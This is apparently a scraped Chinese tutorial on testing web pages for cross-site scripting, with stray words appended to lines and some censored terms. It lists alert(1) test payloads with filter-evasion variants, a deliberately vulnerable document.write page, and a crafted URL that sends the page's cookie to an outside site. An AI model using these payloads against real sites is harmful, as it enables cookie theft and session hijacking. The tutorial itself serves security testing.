安全测试-跨站脚本***(xss)

跨站脚本简称XSS(cross sites script),是web安全里比较重要也比较广泛的一种安全漏洞。跨站脚本是指输入恶意的代码,若是程序没有对输入输出进行验证,则浏览器将会被***者控制。能够获得用户cookie、系统、浏览器信息,保存型xss还能够进行钓鱼,以获取更多的用户信息。javascript


  最多见的测试跨站脚本的方法,输入html


  <Script>alert(1)</script>java


  以及它的各类变体web


  <script>alert(1) </script>实体跨域


  %3Cscript%3Ealert(1)%3C/script%3E  URL编码浏览器


  <scr<script>ipt>alert(1)<scr<script>ipt>安全


  <script x=1>alert(1)</script x=1> 还能够这样写服务器


  或者<script>confirm(1)</script>cookie


  <javascript.:alert(1)>;等dom


  若是提交后,页面弹出警告框,则该页面存在xss漏洞


  *反射型xss


  通俗来说,即便输入一段代码,既能够看到代码实际的效果,而非原程序的效果


  如:一段代码


  <html><body>


  <script>


  document.write(location.search);</script>//location.search返回url?开始的部分


  </body></html>


  当输入如下url


  "http://127.0.0.1/attrck.html?search=222"


  页面将显示:?search=222 ;但url中若是输入


  /?search=<Script>alert(1)</script>


  则页面的实际代码为:


  document.write(?search=)<Script>alert(1)</script>;


  将弹出警告框,即代码<Script>alert(1)</script>被执行了,而并不是页面原来显示?后字符串的效果


  可使用伪造后的url获取用户cookie


  如,在示例1中加入document.cookie=("name=123");,设置cookie,而后构造url以下,实现将localhost域的cookie传递到百度并进行搜索


  http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>


  由于cookie是禁止跨域访问的,但伪造的url,浏览器会认为是仍是localhost的域


  *保存型xss


  是指将恶意代码保存到服务器,好比发布一篇文章包含恶意代码,其余用户浏览时将执行恶意脚本


  *基于dom的xss


  严格来讲该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成***,好比页面使用了document.write\document.writeln\innerhtml等dom方法有可能引发dom based xss


  查找xss漏洞通常使用手工输入,须要考虑到输入限制、过滤、长度限制等因素,所以须要设计各类不容的变体输入,以达到测试效果,也可使用工具,好比burpsuite来获取请求后手工修改请求参数,而后从新提交到浏览器来测试,由于xss并不限于可见的页面输入,还有多是隐藏表单域、get请求参数等。

相关文章
相关标签/搜索